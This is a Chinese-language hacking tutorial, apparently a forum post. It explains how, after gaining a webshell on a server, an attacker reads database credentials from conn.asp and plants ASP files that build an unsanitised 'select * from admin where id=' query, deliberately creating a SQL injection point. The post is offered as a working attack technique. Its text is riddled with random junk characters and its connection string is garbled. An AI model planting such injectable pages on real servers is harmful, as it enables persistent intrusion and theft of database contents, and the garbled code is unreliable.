首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:. d( n) V( ~+ }6 Y+ G' h+ |
ASP/Visual Basic代码( `+ a; t; v; X5 }! z
<!--#include file="xx.asp"--> * L, i: P+ k( b: A) Z: x( m
<% 8 a1 ?" v5 M/ b+ i& T
set rs=server.createobject("ADODB.recordset")
/ q6 J9 ^+ A+ ^3 D. f% [id = request("id") % @) O/ T7 ~5 a# \/ ~! A6 |
strSQL = "select * from admin where id=" & id
3 `+ Y+ ^0 S5 K9 Prs.open strSQL,conn,1,3
j, R; x$ V$ Ars.close
( K. m/ [- e1 x- t2 p4 j( b%> + h. Q) o' y- a
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
9 Y2 @) b3 h- F2 a- h然后就要构造一个连接数据库的文件了,代码如下:& j, W7 o% \. j2 S' N
ASP/Visual Basic代码
3 ?# l# O0 b6 o- j, g" [& d<%
3 r L0 ]& ?$ |1 r4 N4 pstrSQLServerName = "000.000.000.000" '服务器名称或地址 8 Q8 K' K/ m9 v( a; h/ Q
strSQLDBUserName = "sqlname" '数据库帐号 8 b+ s1 r( ~$ s: R; t# ~
strSQLDBPassword = "sqlpass" '数据库密码 + p+ L& v$ h1 Q2 W7 n5 D
strSQLDBName = "sqldataname" '数据库名称
* F+ u: e6 H' X0 wSet conn = Server.CreateObject("ADODB.Connection")
" J1 d' Q' T5 U3 ostrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" ( P- m% I. f/ n b6 o; v7 h& g
conn.open strCon
' X$ ]5 p9 k8 O7 Y3 z2 Z%> 5 i7 |8 s7 ^! \# T% J
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功2 d- t* d5 [: a2 ?+ W2 X4 B8 m
|